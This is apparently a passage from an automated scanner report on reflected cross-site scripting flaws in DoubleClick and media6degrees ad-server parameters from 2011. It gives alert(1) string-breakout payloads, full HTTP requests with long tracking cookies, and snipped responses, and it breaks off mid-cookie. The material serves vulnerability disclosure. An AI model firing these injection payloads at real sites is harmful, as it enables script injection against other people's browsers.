The value of the tp request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3faad"-alert(1)-"dcba53557ab was submitted in the tp parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /adj/N5506.150800.3144586890621/B5070033.6;sz=300x250;click=http://media.fastclick.net/w/click.here?cid=274614&mid=511503&m=6&sid=8627&c=0&tp=83faad"-alert(1)-"dcba53557ab&forced_click=;ord=20110214014309? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://www.drudgereport.com/ Cache-Control: max-age=0 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9|2575106/466721/15017,2299144/808253/15017,1984865/715155/15016,1139856/660902/15016,2558160/1040396/15016,1359549/451737/15015,2206715/621812/15013,189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: application/x-javascript Date: Mon, 14 Feb 2011 01:44:25 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 6021
document.write('<!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserved. -->\n<!-- Code auto-generated on Fri Jan 07 16:14:18 EST 2011 -->\n<script src=\"http://s0.2mdn.net/8793 ...[SNIP]... lick%3Bh%3Dv8/3aae/f/7d/%2a/e%3B234150289%3B3-0%3B0%3B57930397%3B4307-300/250%3B40147962/40165749/1%3B%3B%7Esscs%3D%3fhttp://media.fastclick.net/w/click.here?cid=274614&mid=511503&m=6&sid=8627&c=0&tp=83faad"-alert(1)-"dcba53557ab&forced_click=http%3a%2f%2flp2.turbotax.com/ty10/bn/gdestp%3Fcid%3Dbn_vc_nf_anb_rncpaut_Gsbs_ppk_300x250_%26priorityCode%3D4654700000"); var fscUrl = url; var fscUrlClickTagFound = false; var wmode = " ...[SNIP]...
The value of the tp request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 22cba'-alert(1)-'0a0ea759385 was submitted in the tp parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /adj/N5506.150800.3144586890621/B5070033.6;sz=300x250;click=http://media.fastclick.net/w/click.here?cid=274614&mid=511503&m=6&sid=8627&c=0&tp=822cba'-alert(1)-'0a0ea759385&forced_click=;ord=20110214014309? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://www.drudgereport.com/ Cache-Control: max-age=0 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9|2575106/466721/15017,2299144/808253/15017,1984865/715155/15016,1139856/660902/15016,2558160/1040396/15016,1359549/451737/15015,2206715/621812/15013,189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: application/x-javascript Date: Mon, 14 Feb 2011 01:44:30 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 6341
document.write('<!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserved. -->\n<!-- Code auto-generated on Wed Jan 05 16:42:54 EST 2011 -->\n<script src=\"http://s0.2mdn.net/8793 ...[SNIP]... lick%3Bh%3Dv8/3aae/f/7d/%2a/q%3B234150289%3B1-0%3B0%3B57930397%3B4307-300/250%3B39601762/39619549/1%3B%3B%7Esscs%3D%3fhttp://media.fastclick.net/w/click.here?cid=274614&mid=511503&m=6&sid=8627&c=0&tp=822cba'-alert(1)-'0a0ea759385&forced_click=http%3a%2f%2flp2.turbotax.com/ty10/oadisp/ph-1/control_gps_f%3Fcid%3Dbn_vc_f_anb_rncpaut_CRFfgg_ppk_300x250%26priorityCode%3D4654700000\"> ...[SNIP]...
The value of the type request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9eaaa'%3balert(1)//62bc3773dd1 was submitted in the type parameter. This input was echoed as 9eaaa';alert(1)//62bc3773dd1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /adj/uk.reuters/news/lifestyle/article;type=9eaaa'%3balert(1)//62bc3773dd1 HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://uk.reuters.com/article/2011/02/13/us-bafta-idUKTRE71C1YB20110213 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9|2575106/466721/15017,2299144/808253/15017,1984865/715155/15016,1139856/660902/15016,2558160/1040396/15016,1359549/451737/15015,2206715/621812/15013,189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: application/x-javascript Content-Length: 278 Cache-Control: no-cache Pragma: no-cache Date: Mon, 14 Feb 2011 01:35:57 GMT Expires: Mon, 14 Feb 2011 01:35:57 GMT
The value of the ad request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5d2cc'-alert(1)-'80eb2a6b3f6 was submitted in the ad parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /adj/wpni.politics/inlinead;ad=5d2cc'-alert(1)-'80eb2a6b3f6 HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://www.washingtonpost.com/wp-dyn/content/article/2011/02/13/AR2011021301463.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9|2575106/466721/15017,2299144/808253/15017,1984865/715155/15016,1139856/660902/15016,2558160/1040396/15016,1359549/451737/15015,2206715/621812/15013,189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: application/x-javascript Content-Length: 360 Cache-Control: no-cache Pragma: no-cache Date: Mon, 14 Feb 2011 01:38:09 GMT Expires: Mon, 14 Feb 2011 01:43:09 GMT
1.46. http://ad.media6degrees.com/adserv/cs [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://ad.media6degrees.com
Path:
/adserv/cs
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload fdefb"-alert(1)-"6a122e04d38 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /adserv/cs?tId=4071663510365101|cb=1297647330|adType=iframe|cId=3210|ec=1|spId=27355|advId=971|exId=19|price=0.3381000030040741|pubId=562|secId=194|invId=3099|notifyServer=asd147.sd.pl.pvt|notifyPort=8080|bid=1.61|srcUrlEnc=http%3A%2F%2Fwww.dailymail.co.uk%2Fnews%2Farticle-1356403%2FNHS-fertility-doctor-Charles-Kingsland-sends-UK-couples-Cyprus-illegal-treatment.html&fdefb"-alert(1)-"6a122e04d38=1 HTTP/1.1 Host: ad.media6degrees.com Proxy-Connection: keep-alive Referer: http://i.dailymail.co.uk/adTest/mpu-dm.html Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ipinfo=2lfzx0l0zijsvn5yhbqbe90httd3GK520752HF6QnyynflFbsgYnlreGrpuabybtvrf00; acs=015020a0e0f0g1lebnnsxzt12707lxzt12707lxzt12707lxzt12707l; vstcnt=3lebnns051l064e206123s185k81848g1848f1848e1848d1848c1848b1848a18488184871848618485184841848218481184801847z1847y1847x1847v1847u1847t1847s1847r1847q1847p1847o1847k1847i1847h1847g1847f1847e1847d1847c1847b1847a18479184781847418472184711846v1846u1846t1846s1846r1846q1846p1846o1846l1846k1846j1846i1846b1846a18469184621845y1845x1845w1845v1845t1845s1845r1845q1845p1845o1845n1845m1845k1845j1845i1845h1845g1845f1845e1845d1845c1845b1845a1845818457184561845518454184531844z1844y1844w1844v1844u1844t1844s1844r1844q1844p1844n1844m1844l1844k1844j1844h1844g1844f1844e1844d1844c1844a1843w1843v1843u1843t1843s1843r1843p1843o1843n1843m1843k1843j1843h1843g1843f1843d1843c184371843518434184301842z1842y1842x1842u1842t181qq4qbzj120a1yfnu1yfnt1yfnq1yfnp1yfno1yfnn1yfnm1yfnl1yfi41yfhj4e2p3120t237p8237p7237p6237p4237ou237os237oq237op237oo237on237om237ol237oi237oh237og237of237oe237oc237ob237o6237o5237o4237o3237o2237o1237o0237ny237nv237nu4fhux122m0d1tf0d1te0d1tc0d1tb0d1ta0d1t90d1t80d1t70d1t50d1t40d1t30d1t20d1t00d1sz0d1su0d1st0d1ss0d1sr0d1sq0d1so0d1sn0d1sm0d1sk0d1sj0d1si0d1se0d1sd0d1sc0d1s70d1s40d1s20d1s10d1s00d1rw0d1ru0d1rt0d1rs0d1rr0d1rq0d1rp0d1ro0d1rm0d1rl0d1rk0d1rj0d1rh0d1rg0d1rf0d1rd0d1rc0d1rb0d1r90d1r80d1r70d1r60d1r40d1r30d1r20d1r10d1r00d1qz0d1qx0d1qw0d1qv0d1qu0d1qo0d1qm0d1ql0d1qj0d1qi0d1qh0d1qg0d1qe0d1qc0d1qb0d1qa0d1q60d1q50d1q40d1q20d1q10d1py0d1px0d1pw0d1pv0d1pu0d1ps0d1pr0d1pq0d1pm0d1pl0axzm00000000004esx7120104tej49wpz120r1w3r41w3r01w3qz1w3qy1w3qx1w3qv1w3qu1w3qr1w3qq1w3qo1w3qm1w3ql1w3qi1w3qh1w3qg1w3qf1w3qe1w3qb1w3qa1w3q91w3q81w3q71w3q61w3q41w3q31w3pz1w3py0r073ik5120o0pk2n0kh4b0kh4a0kh490kh430kh3z0kh3y0kh3x0kh3v0kh3u0kh3t0kh3s0kh3r0kh3p0kh3m0kh3l0kh3j0kh3h0kh3g0kh3f0kh3d0kh3a0kh390keqa4nssk122m1c4wn1bw5j1bw5i1bw5g1bw5f1bw5e1bw5d1bw5b1bw5a1bw591bw561bw551bw541bw531bw521bw511bw501bw4z1bw4y1bw4x1bw4w1bw4u1bw4t1bw4s1bw4r1bw4q1bw4p1bw4o1bw4n1bw4l1bw4j1bw4i1bw4h1bw4g1bw4f1bw4e1bw4c1bw4b1bw4a1bw491bw481bw471bw461bw451bw441bw431bw421bw401bw3z1bw3x1bw3w1bw3v1bw3u1bw3t1bw3s1bw3r1bw3q1bw3p1bw3n1bw3m1bw3l1bw3k1bw3f1bw3e1bw3c1bw3b1bw3a1bw381bw361bw351bw341bw331bw321bw311bw301bw2z1bw2w1bw2v1bw2u1bw2t1bw2s1bw2r1bw2q1bw2p1bw2o1bw2n1bw2m1bw2l1bw2k1bw2j1bw2i1bw2c1bw2b1boph4u0e31202259612595p32te12021xgde1xg0o38c912012707l4jaec12021udrn1ucve3sti120326v3926uvg26uuv0s018raevpblc12011xh931p028VgwGdHhN1101254098BreszClF110v254102540z2540y2540x2540w2540u2540t2540s2540r2540q2540p2540n2540m2540l2540h2540g2540f2540d2540c2540b2540a254062540525404254032540225401253zz253zy253zx253yz1o018EstvP2qn112s1oa941oa931oa921oa911oa8z1oa8v1oa8u1oa8t1oa8s1oa8q1oa8p1oa8o1oa8n1oa8m1oa8l1oa8j1oa8i1oa8h1oa8g1oa8f1oa8e1oa8d1oa8c1oa8b1oa891oa881oa871oa841oa831oa821oa811oa801oa7y1oa7x1oa7w1oa7v1oa7u1oa7t1oa7s1oa7o1oa7n1oa7l1oa7k1oa7j1oa7i1oa7h1oa7g1oa7f1oa7e1oa7d1oa7b1oa7a1oa791oa781oa771oa761oa751oa741oa731oa721oa701oa6z1oa6y1oa6x1oa6w1oa6v1oa6u1oa6t1oa6o1oa6n1oa6m1oa6l1oa6k1oa6j1oa6h1oa6g1oa6f1oa6e1oa691oa681oa651oa641oa631oa611oa601oa5z1oa5y1oa5w1oa5v1oa5t1oa5s1oa5r1oa5q1oa5m1oa5l1oa5k1oa5j1oa5i1oa5h1o9ct; adh="1lf17qo16033e7s0103901WEF/RAmuh01bly126030103i01pznOhAUUE00cpvo3fus0122d01zfQfEf5HA000000"; clid=2lebnns011706ch47d7o8wtv274ys01x1709070v214; orblb=2lfk1rn042ct10u010wryf26x10u010tn5625810u020lxik0hlmv2dh10u0100000; rdrlst=4330ojdlggtq20000000b170911gvlggtq20000000b17090yujlginvd0000000817080jv3lginvd0000000817080e0flggrmr0000000c17090x1blebnns1wj3q01411000yielginvd0000000817080yiflginvd0000000817080oj6lggtq20000000b17090e08lggtq20000000b170910qflginvq0000000717070e0nlgevbm0000000e17090w3clebnns1wj3q01411000jv6lebnns1wj3q01411000jv5lggtq20000000b17090j4ilew2e20000001r17090khalggtq20000000b17091196lfzx0l0000001417091195lg7rdq0000000v17090jillebnns1wj3q01411001194lg3y5y0000001117090z14lggtq20000000b17090zgdlggtq20000000b17090faalggtq20000000b17090z13lgio080000000217021193lgiiin0000000917091192lg5l2h0000001017090jprlginvd0000000817080w2klggtq20000000b17090yh0lebnns1wj3q01411000jwblfk1rn0o4zv00p110007dpletz4d0000001t17090mmnlebnns1wj3q01411000xwhlggtq20000000b17091004lginvd0000000817080z02lggtq20000000b17090kbzlggtq20000000b17090eh5lf17qf0000001p17090kkclggtq20000000b170906bylemlne0000001v17090df5lgcqt50000000j1709111xlggtq20000000b17090mn2lginvd0000000817080mn1lginvd0000000817080swvlggtq20000000b1709100plggtq20000000b17090im3lgcqt50000000j17090yzglginxj0000000517050b6mlf17qk0000001o17090y63lg93og0000000o17090xvslebnns1wj3q01411000o5alggtq20000000b17090yyxlginvu0000000617060yywlginzk0000000317030x1jlebnns1wj3q01411000xwclginvd0000000817080o4plginvd0000000817080yiplebnns1wj3q01411000xwflebnns1wj3q01411000e4vlebnns1wj3q01411000xwblebnns